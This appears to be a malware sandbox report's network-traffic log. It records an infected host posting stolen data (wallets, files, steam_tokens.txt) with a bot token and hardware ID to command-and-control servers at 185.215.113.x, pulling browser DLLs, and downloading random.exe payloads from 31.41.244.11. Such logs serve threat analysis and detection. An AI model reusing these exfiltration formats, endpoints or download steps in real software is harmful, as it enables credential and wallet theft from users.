Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJKFBAFIDAEBFHJKJEBHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 4b 46 42 41 46 49 44 41 45 42 46 48 4a 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------AKJKFBAFIDAEBFHJKJEBContent-Disposition: form-data; name="file"------AKJKFBAFIDAEBFHJKJEB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016097001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016098001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 2d 2d 0d 0a Data Ascii: ------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------KKKEBKJJDGHCBGCAAKEHContent-Disposition: form-data; name="file"------KKKEBKJJDGHCBGCAAKEH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 30 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016099001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJKFHJJJKJJJJKEHCHost: 185.215.113.206Content-Length: 1003Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/encoxx/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGHJECAFIDAFHJKFCGHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 4a 45 43 41 46 49 44 41 46 48 4a 4b 46 43 47 48 49 2d 2d 0d 0a Data Ascii: ------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------DGHJECAFIDAFHJKFCGHIContent-Disposition: form-data; name="message"wallets------DGHJECAFIDAFHJKFCGHI--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIIIIEGHDGDBFIDGHDAFHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 49 45 47 48 44 47 44 42 46 49 44 47 48 44 41 46 2d 2d 0d 0a Data Ascii: ------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------HIIIIEGHDGDBFIDGHDAFContent-Disposition: form-data; name="message"files------HIIIIEGHDGDBFIDGHDAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFHDHCAAKECFIDHIEBAKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 48 43 41 41 4b 45 43 46 49 44 48 49 45 42 41 4b 2d 2d 0d 0a Data Ascii: ------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFHDHCAAKECFIDHIEBAKContent-Disposition: form-data; name="file"------AFHDHCAAKECFIDHIEBAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBAKKJKKECGDGCAECAHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 41 4b 4b 4a 4b 4b 45 43 47 44 47 43 41 45 43 41 2d 2d 0d 0a Data Ascii: ------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------DGDBAKKJKKECGDGCAECAContent-Disposition: form-data; name="message"ybncbhylepme------DGDBAKKJKKECGDGCAECA--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 36 31 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016100001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/martin/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDAFIEBFCBKFHIDHIJEHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 44 41 46 49 45 42 46 43 42 4b 46 48 49 44 48 49 4a 45 2d 2d 0d 0a Data Ascii: ------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="token"295e773666d447a931a10d86a4a340d733589d4380a85b9148db314e6b67e8e3ec7ddcc1------FIDAFIEBFCBKFHIDHIJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FIDAFIEBFCBKFHIDHIJE--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FCGCGDHJEGHJKFHJJJKJHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 46 43 47 43 47 44 48 4a 45 47 48 4a 4b 46 48 4a 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------FCGCGDHJEGHJKFHJJJKJContent-Disposition: form-data; name="build"stok------FCGCGDHJEGHJKFHJJJKJ--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHIIJDGHCBFIECBKEGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 49 49 4a 44 47 48 43 42 46 49 45 43 42 4b 45 47 48 2d 2d 0d 0a Data Ascii: ------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------BGHIIJDGHCBFIECBKEGHContent-Disposition: form-data; name="build"stok------BGHIIJDGHCBFIECBKEGH--
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFIDGCFHIEHJJJJECAKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 36 43 36 43 45 44 44 32 35 32 45 33 34 34 31 30 34 31 38 31 34 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 49 44 47 43 46 48 49 45 48 4a 4a 4a 4a 45 43 41 4b 2d 2d 0d 0a Data Ascii: ------AAFIDGCFHIEHJJJJECAKContent-Disposition: form-data; name="hwid"A6C6CEDD252E3441041814------AAFIDGCFHIEHJJJJECAKContent-Disposition: form-data; name="build"stok------AAFIDGCFHIEHJJJJECAK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 